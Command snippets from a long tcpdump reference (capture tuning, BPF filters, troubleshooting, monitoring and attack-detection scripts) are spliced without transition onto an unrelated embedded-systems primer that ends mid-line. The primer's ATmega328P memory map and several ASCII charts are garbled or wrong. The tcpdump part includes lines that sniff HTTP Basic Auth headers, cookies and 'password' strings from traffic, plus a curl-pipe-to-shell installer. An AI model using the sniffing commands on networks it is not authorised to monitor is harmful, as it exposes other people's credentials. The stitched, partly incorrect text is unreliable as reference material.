# Increase buffer size
sudo tcpdump -B 8192 -i eth0 -w capture.pcap

# Use specific interface (not 'any')
sudo tcpdump -i eth0 -w capture.pcap    # Faster than -i any

# Disable name resolution
sudo tcpdump -nn -i eth0 -w capture.pcap

# Use efficient filter
sudo tcpdump -i eth0 'tcp port 80' -w capture.pcap    # Filter in kernel

# Write directly to fast storage
sudo tcpdump -i eth0 -w /dev/shm/capture.pcap    # RAM disk

# Reduce snapshot length for headers only
sudo tcpdump -s 128 -i eth0 -w capture.pcap

# Don't display while capturing
sudo tcpdump -i eth0 -w capture.pcap    # No output to screen

# Use immediate mode carefully (trade-off)
sudo tcpdump -i eth0 --immediate-mode -w capture.pcap

# Filter in kernel (BPF) rather than userspace
# Good: Kernel filters
sudo tcpdump -i eth0 'tcp port 80' -w capture.pcap

# Less efficient: Capture all, filter later
sudo tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap 'tcp port 80'

# Combine multiple conditions efficiently
sudo tcpdump -i eth0 '(tcp port 80 or tcp port 443) and net 192.168.1.0/24'

# Avoid complex filters if simple ones suffice
# Simple:
sudo tcpdump -i eth0 'port 80'
# Complex (unnecessary):
sudo tcpdump -i eth0 'tcp[2:2] == 80 or tcp[0:2] == 80'

# Rotate files to manage disk space
sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 10

# Compress captures (with external tool)
sudo tcpdump -i eth0 -w - | gzip > capture.pcap.gz

# Read compressed captures
zcat capture.pcap.gz | tcpdump -r -

# Capture only headers (smallest size)
sudo tcpdump -s 96 -i eth0 -w headers.pcap

# Use pcapng format for better compression (with tshark)
sudo tcpdump -i eth0 -w - | tshark -r - -F pcapng -w capture.pcapng

# Dedicated capture for high-speed networks
# 1. Increase buffer size
# 2. Use specific interface
# 3. Disable name resolution
# 4. Use simple filter
# 5. Write to fast storage (SSD, RAM disk)

sudo tcpdump -B 16384 -i eth0 -nn -s 128 \
  'tcp port 80 or tcp port 443' \
  -w /mnt/fast-ssd/capture.pcap

# Multiple file writers (distribute load)
sudo tcpdump -i eth0 -w capture.pcap -C 500 -W 20 -B 16384

# Use packet capture accelerators (if available)
# Example with PF_RING (requires installation):
# sudo tcpdump -i eth0@1 -w capture.pcap    # PF_RING aware

# Verify connectivity between hosts
sudo tcpdump -i eth0 'host 192.168.1.1 and host 192.168.1.2'

# Check if traffic reaches interface
sudo tcpdump -i eth0 -c 10 'host 8.8.8.8'

# Analyze TCP retransmissions (look for duplicate SEQ numbers)
sudo tcpdump -i eth0 -vvv -nn 'tcp and host 192.168.1.1'

# Check DNS resolution
sudo tcpdump -i eth0 -vvv 'port 53 and host 8.8.8.8'

# Verify routing (ICMP redirects)
sudo tcpdump -i eth0 'icmp[icmptype] == icmp-redirect'

# Monitor for packet loss (look for retransmissions, resets)
sudo tcpdump -i eth0 -vvv 'tcp' | grep -i "retrans\|reset"

# Check for MTU issues (fragmentation)
sudo tcpdump -i eth0 'ip[6:2] & 0x1fff != 0'

# Verify DHCP issues
sudo tcpdump -i eth0 -vvv 'port 67 or port 68'

# Check for duplicate IP addresses (ARP conflicts)
sudo tcpdump -i eth0 -e arp | grep "is-at"

# Trace path MTU discovery
sudo tcpdump -i eth0 'icmp and icmp[0] == 3 and icmp[1] == 4'

# Detect port scanning (many SYN packets)
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0'

# Monitor for ARP spoofing
sudo tcpdump -i eth0 -e -n arp | awk '{print $12, $13}'

# Detect SYN flood attacks
sudo tcpdump -i eth0 -c 100 'tcp[tcpflags] & tcp-syn != 0' | wc -l

# Find failed connection attempts (RST packets)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-rst != 0'

# Detect suspicious DNS activity
sudo tcpdump -i eth0 -vvv -nn 'port 53' | grep -E "NXDomain|FormErr"

# Monitor for unusual traffic patterns
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] == 0x00'    # NULL scan
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] == 0x29'    # Xmas scan

# Capture unencrypted passwords (HTTP Basic Auth)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80' | grep -i "authorization:"

# Monitor for malware beaconing (regular intervals)
sudo tcpdump -i eth0 -tttt 'dst host suspicious-ip'

# Detect MAC flooding
sudo tcpdump -i eth0 -e | awk '{print $2}' | sort | uniq -c | sort -rn

# Find plaintext protocols that should be encrypted
sudo tcpdump -i eth0 -A 'tcp port 23 or tcp port 21 or tcp port 110'

# Debug HTTP API calls
sudo tcpdump -i eth0 -A 'tcp port 80 and host api.example.com'

# Monitor database connections
sudo tcpdump -i eth0 'tcp port 3306 and host db-server'

# Debug web application (HTTP + HTTPS SYN)
sudo tcpdump -i eth0 '(tcp port 80) or (tcp port 443 and tcp[tcpflags] & tcp-syn != 0)'

# Monitor WebSocket connections
sudo tcpdump -i eth0 -A 'tcp port 80' | grep -i "upgrade: websocket"

# Debug REST API (with JSON payloads)
sudo tcpdump -i eth0 -A 'tcp port 80' | grep -A 20 "POST\|PUT\|PATCH"

# Check application performance (connection establishment time)
sudo tcpdump -i eth0 -ttt 'tcp port 80 and tcp[tcpflags] & (tcp-syn|tcp-ack) != 0'

# Monitor microservices communication
sudo tcpdump -i eth0 'tcp and portrange 8000-9000'

# Debug gRPC (HTTP/2)
sudo tcpdump -i eth0 -A 'tcp port 50051'

# Check session handling (cookies)
sudo tcpdump -i eth0 -A 'tcp port 80' | grep -i "cookie:"

# Monitor API rate limiting (count requests)
sudo tcpdump -i eth0 -l 'tcp port 80' | awk '{print $1}' | uniq -c

# Monitor bandwidth usage (approximation)
sudo tcpdump -i eth0 -n | awk '{print $NF}' | grep length | cut -d: -f2 | \
  awk '{sum+=$1; count++} END {print "Total:", sum, "bytes", "Avg:", sum/count}'

# Identify heavy talkers (most traffic)
sudo tcpdump -i eth0 -nn -c 1000 | awk '{print $3}' | cut -d'.' -f1-4 | sort | uniq -c | sort -rn | head -10

# Check for network congestion (retransmissions)
sudo tcpdump -i eth0 -vvv 'tcp' | grep -i "retrans"

# Analyze connection setup time (SYN to SYN-ACK)
sudo tcpdump -i eth0 -ttt 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0'

# Monitor packet size distribution
sudo tcpdump -i eth0 -n | awk '{print $NF}' | grep length | cut -d: -f2 | sort -n | uniq -c

# Check for small packet flood (could indicate attack or inefficiency)
sudo tcpdump -i eth0 less 64 | wc -l

# Analyze TCP window sizes
sudo tcpdump -i eth0 -vvv 'tcp' | grep -i "win"

# Monitor packet rate
sudo tcpdump -i eth0 -c 100 -tttt | awk '{print $1, $2}' | cut -d'.' -f1 | uniq -c

# Identify applications by port
sudo tcpdump -i eth0 -nn | awk '{print $5}' | cut -d':' -f2 | sort | uniq -c | sort -rn

# Monitor SIP signaling
sudo tcpdump -i eth0 -A 'port 5060 or port 5061'

# Capture RTP streams
sudo tcpdump -i eth0 'udp portrange 10000-20000'

# Check for jitter and packet loss (analyze timestamps)
sudo tcpdump -i eth0 -tttt 'udp and portrange 10000-20000'

# Monitor quality (look for RTCP)
sudo tcpdump -i eth0 'udp and portrange 10000-20000' -vvv

# Monitor Docker bridge
sudo tcpdump -i docker0

# Monitor Kubernetes pod network
sudo tcpdump -i cni0

# Monitor overlay network traffic
sudo tcpdump -i flannel.1    # or weave, calico, etc.

# Capture traffic for specific container
sudo tcpdump -i docker0 'host container-ip'

# Monitor service mesh traffic (Istio/Envoy)
sudo tcpdump -i eth0 'tcp port 15001 or tcp port 15006'

# All IPv6 traffic
sudo tcpdump -i eth0 ip6

# IPv6 ICMP (ping6, neighbor discovery)
sudo tcpdump -i eth0 icmp6

# IPv6 neighbor discovery
sudo tcpdump -i eth0 'icmp6 and ip6[40] == 135'    # Neighbor Solicitation
sudo tcpdump -i eth0 'icmp6 and ip6[40] == 136'    # Neighbor Advertisement

# IPv6 router advertisements
sudo tcpdump -i eth0 'icmp6 and ip6[40] == 134'

# DHCPv6
sudo tcpdump -i eth0 'udp port 546 or udp port 547'

# Capture with tcpdump, analyze with Wireshark
sudo tcpdump -i eth0 -w capture.pcap
wireshark capture.pcap

# Live capture to Wireshark
sudo tcpdump -i eth0 -w - | wireshark -k -i -

# Capture with tcpdump, analyze with tshark
sudo tcpdump -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http" -T fields -e ip.src -e http.request.uri

# Use tshark display filters on tcpdump captures
tcpdump -r capture.pcap -w - | tshark -r - -Y "tcp.analysis.retransmission"

# Capture with tcpdump, reconstruct streams with tcpflow
sudo tcpdump -i eth0 -w - tcp | tcpflow -r -

# Save and process
sudo tcpdump -i eth0 -w capture.pcap
tcpflow -r capture.pcap

# Extract HTTP content
sudo tcpdump -i eth0 -w - 'tcp port 80' | tcpflow -r - -e http

# Capture with tcpdump for storage, use ngrep for pattern matching
sudo tcpdump -i eth0 -w capture.pcap
ngrep -I capture.pcap "password"

# Real-time pattern matching
sudo tcpdump -i eth0 -w - | ngrep -I - "HTTP"

# Capture with tcpdump, analyze with Snort
sudo tcpdump -i eth0 -w capture.pcap
snort -r capture.pcap -c /etc/snort/snort.conf

# Live capture to Snort
sudo tcpdump -i eth0 -w - | snort -r - -c /etc/snort/snort.conf

#!/usr/bin/env python3
from scapy.all import rdpcap, TCP, IP

# Read tcpdump capture file
packets = rdpcap('capture.pcap')

# Analyze packets
for pkt in packets:
    if pkt.haslayer(TCP) and pkt.haslayer(IP):
        print(f"{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

#!/bin/bash
# Monitor for high traffic and alert

INTERFACE="eth0"
THRESHOLD=1000  # packets per second
LOGFILE="/var/log/traffic-monitor.log"

while true; do
    COUNT=$(timeout 1 sudo tcpdump -i $INTERFACE -c 10000 2>/dev/null | wc -l)

    if [ $COUNT -gt $THRESHOLD ]; then
        echo "$(date): High traffic detected: $COUNT packets/sec" >> $LOGFILE
        # Send alert (email, SMS, etc.)
    fi

    sleep 1
done

# Capture to JSON format (requires processing)
sudo tcpdump -i eth0 -w - | \
  tshark -r - -T json | \
  jq -c '.' | \
  curl -X POST "localhost:9200/packets/_doc" -H 'Content-Type: application/json' --data-binary @-

# Or use specialized tools like packetbeat

# Filter at capture time, not post-processing
sudo tcpdump -i eth0 'tcp port 80' -w capture.pcap

# Disable name resolution for performance
sudo tcpdump -nn -i eth0

# Full packets when needed
sudo tcpdump -s 0 -i eth0 -w capture.pcap

# Headers only for efficiency
sudo tcpdump -s 128 -i eth0 -w headers.pcap

sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 10

sudo tcpdump -B 8192 -i eth0 -w capture.pcap

# More efficient
sudo tcpdump -i eth0 -w capture.pcap

# Less efficient
sudo tcpdump -i any -w capture.pcap

# Get packet count
tcpdump -r capture.pcap | wc -l

# Protocol distribution
tcpdump -r capture.pcap -n | awk '{print $NF}' | sort | uniq -c

# Focus on specific traffic
tcpdump -r capture.pcap 'tcp port 443 and host 192.168.1.1'

tcpdump -r capture.pcap -w http.pcap 'tcp port 80'
tcpdump -r capture.pcap -w dns.pcap 'port 53'

# Use Wireshark for GUI analysis
wireshark capture.pcap

# Use tshark for advanced filtering
tshark -r capture.pcap -Y "http.request.method == POST"

# Restrict file permissions
sudo tcpdump -i eth0 -w capture.pcap
sudo chmod 600 capture.pcap

# Encrypt sensitive captures
gpg -c capture.pcap

# Only capture what's needed
sudo tcpdump -i eth0 'host 192.168.1.1 and port 80'

# Remove sensitive payload data
tcpdump -r capture.pcap -w sanitized.pcap -s 128

# Or use tcprewrite to anonymize IPs
tcprewrite --infile=capture.pcap --outfile=anon.pcap --seed=12345 --skipl2broadcast

# Auto-delete old captures
find /captures -name "*.pcap" -mtime +7 -delete

# Efficient - filter in kernel
sudo tcpdump -i eth0 'tcp port 80'

# Inefficient - filter in userspace
sudo tcpdump -i eth0 | grep "port 80"

# Use SSD or RAM disk
sudo tcpdump -i eth0 -w /dev/shm/capture.pcap

# No screen output when writing to file
sudo tcpdump -i eth0 -w capture.pcap >/dev/null 2>&1

# Check statistics when stopping capture
# Look for "packets dropped by kernel" message
sudo tcpdump -i eth0 -c 1000
# Output shows: "1000 packets captured, 0 packets dropped by kernel"

# Error: "tcpdump: eth0: You don't have permission to capture on that device"

# Solution 1: Use sudo
sudo tcpdump -i eth0

# Solution 2: Set capabilities (Linux)
sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

# Solution 3: Add user to group (distribution-specific)
sudo usermod -a -G wireshark $USER
# Log out and back in

# Verify permissions
getcap /usr/sbin/tcpdump

# Error: "tcpdump: eth0: No such device exists"

# List available interfaces
tcpdump -D
ip link show

# Check interface name (might be different)
# Modern systems: enp0s3, wlp2s0, etc.
sudo tcpdump -i enp0s3

# Check if interface is up
sudo ip link set eth0 up

# Issue: tcpdump runs but no packets shown

# Check 1: Verify traffic exists
ping 8.8.8.8    # In another terminal

# Check 2: Remove filter temporarily
sudo tcpdump -i eth0 -c 10

# Check 3: Use -i any to capture on all interfaces
sudo tcpdump -i any -c 10

# Check 4: Check for firewall blocking
sudo iptables -L

# Check 5: Verify interface is correct and up
ip addr show

# Issue: "packets dropped by kernel" message

# Solution 1: Increase buffer size
sudo tcpdump -B 16384 -i eth0 -w capture.pcap

# Solution 2: Use more specific filter
sudo tcpdump -i eth0 'tcp port 80' -w capture.pcap

# Solution 3: Reduce snapshot length
sudo tcpdump -s 128 -i eth0 -w capture.pcap

# Solution 4: Write to faster storage
sudo tcpdump -i eth0 -w /dev/shm/capture.pcap

# Solution 5: Use file rotation
sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 10

# Check system resources
top
df -h

# Issue: tcpdump hangs or is very slow

# Solution: Disable name resolution
sudo tcpdump -nn -i eth0

# Disable only hostname resolution
sudo tcpdump -n -i eth0

# Check DNS configuration
cat /etc/resolv.conf

# Error: "tcpdump: bad dump file format"

# Check file type
file capture.pcap

# Try with -r
tcpdump -r capture.pcap

# If compressed, decompress first
gunzip capture.pcap.gz
tcpdump -r capture.pcap

# Check file permissions
ls -l capture.pcap

# Verify file isn't corrupted
tcpdump -r capture.pcap -c 1

# Error: "tcpdump: syntax error in filter expression"

# Issue: Missing quotes around complex filters
# Wrong:
sudo tcpdump -i eth0 tcp port 80 and host 192.168.1.1

# Correct:
sudo tcpdump -i eth0 'tcp port 80 and host 192.168.1.1'

# Issue: Incorrect operator
# Wrong:
sudo tcpdump -i eth0 'port = 80'

# Correct:
sudo tcpdump -i eth0 'port 80'

# Test filter syntax
sudo tcpdump -d 'tcp port 80'    # Show compiled BPF code

# Issue: Timestamps not showing correctly

# Use explicit timestamp format
sudo tcpdump -tttt -i eth0    # Absolute with date

# Check system time
date

# Synchronize system time
sudo ntpdate pool.ntp.org
# or
sudo timedatectl set-ntp true

# Issue: tcpdump consuming too much CPU

# Solution 1: Use more specific filter
sudo tcpdump -i eth0 'tcp port 80'

# Solution 2: Disable name resolution
sudo tcpdump -nn -i eth0

# Solution 3: Reduce verbosity
sudo tcpdump -q -i eth0

# Solution 4: Don't display output when writing to file
sudo tcpdump -i eth0 -w capture.pcap >/dev/null 2>&1

# Monitor CPU usage
top -p $(pgrep tcpdump)

# Issue: Running out of disk space

# Solution 1: Use file rotation
sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 10

# Solution 2: Reduce snapshot length
sudo tcpdump -s 128 -i eth0 -w capture.pcap

# Solution 3: Use specific filter
sudo tcpdump -i eth0 'tcp port 80' -w capture.pcap

# Solution 4: Compress captures
sudo tcpdump -i eth0 -w - | gzip > capture.pcap.gz

# Monitor disk usage
df -h
du -sh /path/to/captures/

# List interfaces
tcpdump -D

# Basic capture
sudo tcpdump -i eth0

# Capture to file
sudo tcpdump -i eth0 -w capture.pcap

# Read from file
tcpdump -r capture.pcap

# Capture with filter
sudo tcpdump -i eth0 'tcp port 80'

# Capture N packets
sudo tcpdump -i eth0 -c 100

# Verbose output
sudo tcpdump -i eth0 -v

# No name resolution
sudo tcpdump -nn -i eth0

# Hex and ASCII output
sudo tcpdump -X -i eth0

# Timestamps
sudo tcpdump -tttt -i eth0

# Full packets
sudo tcpdump -s 0 -i eth0

# Rotate files
sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 10

# Increase buffer
sudo tcpdump -B 8192 -i eth0

# Read and write with filter
tcpdump -r input.pcap -w output.pcap 'tcp port 443'

# Web traffic
sudo tcpdump -i eth0 'tcp port 80 or tcp port 443'

# DNS queries and responses
sudo tcpdump -i eth0 -vvv 'port 53'

# SSH connections
sudo tcpdump -i eth0 'tcp port 22'

# Email traffic
sudo tcpdump -i eth0 'port 25 or port 110 or port 143'

# Exclude SSH from capture
sudo tcpdump -i eth0 'not port 22'

# Capture from specific host on web ports
sudo tcpdump -i eth0 'host 192.168.1.1 and (port 80 or port 443)'

# All traffic except local
sudo tcpdump -i eth0 'not net 127.0.0.0/8'

# TCP SYN packets (connection attempts)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'

# ICMP packets (ping, etc.)
sudo tcpdump -i eth0 'icmp'

# ARP requests and replies
sudo tcpdump -i eth0 'arp'

# Broadcast and multicast
sudo tcpdump -i eth0 'broadcast or multicast'

# Large packets (potential issues)
sudo tcpdump -i eth0 'greater 1500'

# Small packets (potential floods)
sudo tcpdump -i eth0 'less 64'

# HTTP GET requests
sudo tcpdump -i eth0 -A '(tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420)'

# HTTP POST requests
sudo tcpdump -i eth0 -A '(tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# HTTP responses
sudo tcpdump -i eth0 -A '(tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450)'

# SSH version exchange
sudo tcpdump -i eth0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x5353482d'

# FTP commands
sudo tcpdump -i eth0 -A 'tcp port 21 and tcp[((tcp[12:1] & 0xf0) >> 2):4] != 0'

# DNS queries (QR bit = 0)
sudo tcpdump -i eth0 'udp port 53 and udp[10] & 0x80 = 0'

# DNS NXDOMAIN responses
sudo tcpdump -i eth0 'udp port 53 and udp[11] & 0x0f = 3'

# IP packets with options
sudo tcpdump -i eth0 'ip[0] & 0x0f > 5'

# IP packets with DF (Don't Fragment) flag
sudo tcpdump -i eth0 'ip[6] & 0x40 != 0'

# IP fragmented packets
sudo tcpdump -i eth0 'ip[6:2] & 0x1fff != 0 or ip[6] & 0x20 != 0'

# IP packets with specific TTL
sudo tcpdump -i eth0 'ip[8] = 1'        # TTL = 1
sudo tcpdump -i eth0 'ip[8] < 10'       # TTL < 10

# IP packets with specific TOS
sudo tcpdump -i eth0 'ip[1] = 0x10'     # Low delay

# IP packets to multicast addresses
sudo tcpdump -i eth0 'dst net 224.0.0.0/4'

# IP broadcast packets
sudo tcpdump -i eth0 'dst host 255.255.255.255'

# TCP packets with urgent flag
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-urg != 0'

# TCP packets with ECN flags
sudo tcpdump -i eth0 'tcp[13] & 0x42 != 0'

# TCP packets with specific window size
sudo tcpdump -i eth0 'tcp[14:2] > 1000'

# TCP packets with data (not just ACKs)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-push != 0'

# TCP keep-alive packets
sudo tcpdump -i eth0 'tcp[tcpflags] == tcp-ack and len == 54'

# TCP with options
sudo tcpdump -i eth0 'tcp[12] & 0xf0 > 0x50'

# TCP RST-ACK packets
sudo tcpdump -i eth0 'tcp[tcpflags] & (tcp-rst|tcp-ack) == (tcp-rst|tcp-ack)'

# ICMP echo request (ping)
sudo tcpdump -i eth0 'icmp[0] = 8'

# ICMP echo reply
sudo tcpdump -i eth0 'icmp[0] = 0'

# ICMP destination unreachable
sudo tcpdump -i eth0 'icmp[0] = 3'

# ICMP time exceeded
sudo tcpdump -i eth0 'icmp[0] = 11'

# ICMP redirect
sudo tcpdump -i eth0 'icmp[0] = 5'

# ICMP port unreachable specifically
sudo tcpdump -i eth0 'icmp[0] = 3 and icmp[1] = 3'

# ICMP network unreachable
sudo tcpdump -i eth0 'icmp[0] = 3 and icmp[1] = 0'

# ICMP fragmentation needed (MTU discovery)
sudo tcpdump -i eth0 'icmp[0] = 3 and icmp[1] = 4'

#!/bin/bash
# Monitor network traffic and alert on specific conditions

INTERFACE="eth0"
ALERT_EMAIL="admin@example.com"
ALERT_PORT="22"
ALERT_THRESHOLD=100

# Create log directory
mkdir -p /var/log/network-monitor

while true; do
    TIMESTAMP=$(date +%Y%m%d-%H%M%S)
    LOGFILE="/var/log/network-monitor/monitor-$TIMESTAMP.log"

    # Capture 1 minute of traffic
    timeout 60 sudo tcpdump -i $INTERFACE -nn -w - 2>/dev/null | \
    tee >(cat > /tmp/capture-$TIMESTAMP.pcap) | \
    tcpdump -r - -nn "tcp port $ALERT_PORT" 2>/dev/null | \
    wc -l > /tmp/count.txt

    COUNT=$(cat /tmp/count.txt)

    if [ $COUNT -gt $ALERT_THRESHOLD ]; then
        echo "$(date): High traffic on port $ALERT_PORT: $COUNT packets" >> $LOGFILE
        # Send email alert
        echo "Alert: $COUNT packets on port $ALERT_PORT in last minute" | \
            mail -s "Network Alert" $ALERT_EMAIL
    fi

    # Cleanup old logs (keep 7 days)
    find /var/log/network-monitor -name "*.log" -mtime +7 -delete
    find /tmp -name "capture-*.pcap" -mmin +60 -delete

    sleep 60
done

#!/bin/bash
# Log all TCP connection attempts

LOG_FILE="/var/log/connections.log"

sudo tcpdump -i eth0 -nn -l \
  'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0' | \
while read line; do
    echo "$(date '+%Y-%m-%d %H:%M:%S') $line" >> $LOG_FILE
done

#!/bin/bash
# Monitor bandwidth usage per host

INTERFACE="eth0"
DURATION=60  # seconds

echo "Monitoring bandwidth for $DURATION seconds..."

sudo tcpdump -i $INTERFACE -nn -tttt -l 2>/dev/null | \
awk -v duration=$DURATION '
BEGIN {
    start_time = systime()
}
{
    # Extract source IP and packet size
    if ($6 ~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
        ip = $6
        gsub(/:.*/, "", ip)

        # Extract length
        for (i=1; i<=NF; i++) {
            if ($i == "length") {
                bytes[ip] += $(i+1)
            }
        }
    }

    # Check if duration elapsed
    if (systime() - start_time >= duration) {
        exit
    }
}
END {
    print "\nBandwidth usage by host:"
    print "========================"
    for (ip in bytes) {
        mb = bytes[ip] / 1024 / 1024
        printf "%-15s : %10.2f MB\n", ip, mb
    }
}
'

#!/bin/bash
# Detect potential network attacks

INTERFACE="eth0"
LOG_FILE="/var/log/security-monitor.log"

echo "Starting security monitoring on $INTERFACE..."

{
    # Monitor for port scanning (many SYN packets)
    sudo tcpdump -i $INTERFACE -nn -l \
      'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0' | \
    awk '{print $3}' | cut -d'.' -f1-4 | \
    uniq -c | \
    awk '$1 > 20 {print "Port scan detected from", $2, "- SYN packets:", $1}' &

    # Monitor for SYN floods
    sudo tcpdump -i $INTERFACE -nn -l -c 1000 \
      'tcp[tcpflags] & tcp-syn != 0' | \
    wc -l | \
    awk '$1 > 100 {print "Potential SYN flood -", $1, "SYN packets in sample"}' &

    # Monitor for ARP spoofing
    sudo tcpdump -i $INTERFACE -e -nn -l arp | \
    awk '{print $8, $10}' | \
    sort | uniq -d | \
    awk '{print "Potential ARP spoofing detected - Duplicate IP/MAC:", $0}' &

    wait
} | while read alert; do
    echo "$(date '+%Y-%m-%d %H:%M:%S') $alert" | tee -a $LOG_FILE
done

┌─────────────────────────────────────────┐
│         Embedded System                  │
├─────────────────────────────────────────┤
│  Application Layer                       │
│  ├─ User Code                           │
│  └─ Libraries & Frameworks              │
├─────────────────────────────────────────┤
│  HAL/Drivers                            │
│  ├─ Peripheral Drivers                  │
│  └─ Hardware Abstraction Layer          │
├─────────────────────────────────────────┤
│  Microcontroller/Processor              │
│  ├─ CPU Core (ARM, AVR, RISC-V)        │
│  ├─ Memory (Flash, RAM, EEPROM)        │
│  ├─ Peripherals (GPIO, UART, SPI...)   │
│  └─ Clock & Power Management            │
├─────────────────────────────────────────┤
│  Hardware                               │
│  ├─ Sensors                             │
│  ├─ Actuators                           │
│  └─ External Interfaces                 │
└─────────────────────────────────────────┘

Complexity/Capability
    ^
    |
RPi |  ┌──────────┐
    |  │          │
STM32| │          │    ┌──────┐
    |  │          │    │      │
ESP32|  │          │    │      │  ┌─────┐
    |  │          │    │      │  │     │
ARD  |  │          │    │      │  │     │  ┌────┐
    |  │          │    │      │  │     │  │    │
AVR  |  │          │    │      │  │     │  │    │
    |  └──────────┴────┴──────┴──┴─────┴──┴────┘
    +──────────────────────────────────────────> Cost
       Low                                  High

Memory Map Example (ATmega328P):
┌────────────────┐ 0x0000
│  Flash (32KB)  │
│  Program Code  │
├────────────────┤ 0x7FFF
│  SRAM (2KB)    │
│  Variables     │
│  Stack         │
├────────────────┤ 0x08FF
│  EEPROM (1KB)  │
│  Persistent    │
└────────────────┘ 0x03FF

// Example: AVR Sleep Mode
#include <avr/sleep.h>
#include <avr/power.h>

void enterSleepMode() {
    set_sleep_mode(SLEEP_MODE_PWR_DOWN);
    sleep_enable();

    // Disable unnecessary peripherals
    power_adc_disable();
    power_spi_disable();
    power_timer0_disable();

    sleep_mode();  // Enter sleep

    // Wake up here after interrupt
    sleep_disable();

    // Re-enable peripherals
    power_all_enable();
}

// Example: External Interrupt
volatile bool buttonPressed = false;

// Interrupt Service Routine (ISR)
void EXTI0_IRQHandler(void) {
    if (EXTI->PR & EXTI_PR_PR0) {
        buttonPressed = true;
        EXTI->PR |= EXTI_PR_PR0;  // Clear interrupt flag
    }
}

int main(void) {
    // Setup interrupt
    RCC->APB2ENR |= RCC_APB2ENR_IOPAEN;
    GPIOA->CRL &= ~GPIO_CRL_CNF0;
    GPIOA->CRL |= GPIO_CRL_CNF0_1;  // Input with pull-up

    AFIO->EXTICR[0] = AFIO_EXTICR1_EXTI0_PA;
    EXTI->IMR |= EXTI_IMR_MR0;
    EXTI->FTSR |= EXTI_FTSR_TR0;  // Falling edge

    NVIC_EnableIRQ(EXTI0_IRQn);

    while (1) {
        if (buttonPressed) {
            // Handle button press
            buttonPressed = false;
        }
        // Main loop continues
    }
}

Speed (Mbps)
    ^
    |
100 |                    ┌─── USB 2.0
    |                    │
 50 |            ┌─── SPI│
    |            │       │
 10 |            │       │
    |            │       │
  1 |  ┌─ UART  │       │
    |  │    │   │       │
0.1 |  │ I2C│   │       │
    |  │    │   │       │
    └──┴────┴───┴───────┴────────> Complexity
       Low              High

# Download Arduino IDE from arduino.cc
# Or use Arduino CLI
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | sh

# Install STM32CubeIDE
# Download from st.com
# Or use PlatformIO
pip install platformio

# Add ESP32 to Arduino IDE
# Or use ESP-IDF
git clone --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh

Essential Components:
├─ Microcontroller board
├─ USB cable
├─ Breadboard
├─ Jumper wires (male-male, male-female)
├─ LEDs and resistors (220Ω)
├─ Push buttons
├─ Potentiometer (10kΩ)
└─ Multimeter

Sensors (Optional):
├─ Temperature (DHT11/22, DS18B20)
├─ Distance (HC-SR04 ultrasonic)
├─ Light (LDR, BH1750)
└─ Motion (PIR, MPU6050)

// Blink LED on pin 13
void setup() {
    pinMode(13, OUTPUT);
}

void loop() {
    digitalWrite(13, HIGH);
    delay(1000);
    digitalWrite(13, LOW);
    delay(1000);
}

#include "stm32f4xx_hal.h"

int main(void) {
    HAL_Init();
    SystemClock_Config();

    __HAL_RCC_GPIOA_CLK_ENABLE();

    GPIO_InitTypeDef GPIO_InitStruct = {0};
    GPIO_InitStruct.Pin = GPIO_PIN_5;
    GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
    GPIO_InitStruct.Pull = GPIO_NOPULL;
    GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
    HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);

    while (1) {
        HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_5);
        HAL_Delay(1000);
    }
}

#include <avr/io.h>
#include <util/delay.h>

int main(void) {
    DDRB |= (1 << DDB5);  // Set PB5 as output

    while (1) {
        PORTB |= (1 << PORTB5);   // LED on
        _delay_ms(1000);
        PORTB &= ~(1 << PORTB5);  // LED off
        _delay_ms(1000);
    }

    return 0;
}

┌─────────────────────────────────────────────┐
│ Level 1: Fundamentals                       │
├─────────────────────────────────────────────┤
│ • Digital I/O (LED, button)                 │
│ • Analog input (ADC, potentiometer)         │
│ • PWM (LED brightness, motor speed)         │
│ • Serial communication (UART debug)         │
└─────────────────────────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────────┐
│ Level 2: Intermediate                       │
├─────────────────────────────────────────────┤
│ • Timers and interrupts                     │
│ • I2C sensors (temperature, accelerometer)  │
│ • SPI devices (SD card, display)            │
│ • State machines                            │
└─────────────────────────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────────┐
│ Level 3: Advanced                           │
├─────────────────────────────────────────────┤
│ • DMA transfers                             │
│ • RTOS (FreeRTOS)                          │
│ • Low-power optimization                    │
│ • Bootloaders and OTA updates              │
└─────────────────────────────────────────────┘

// Good structure
├─ src/
│  ├─ main.c
│  ├─ drivers/
│  │  ├─ sensor.c
│  │  └─ display.c
│  └─ app/
│     ├─ control.c
│     └─ config.c
├─ inc/
│  ├─ sensor.h
│  ├─ display.h
│  └─ config.h
└─ Makefile

// UART debug output
void debug_print(const char* msg) {
    uart_send_string(msg);
}

// LED status indicators
#define LED_ERROR   GPIO_PIN_0
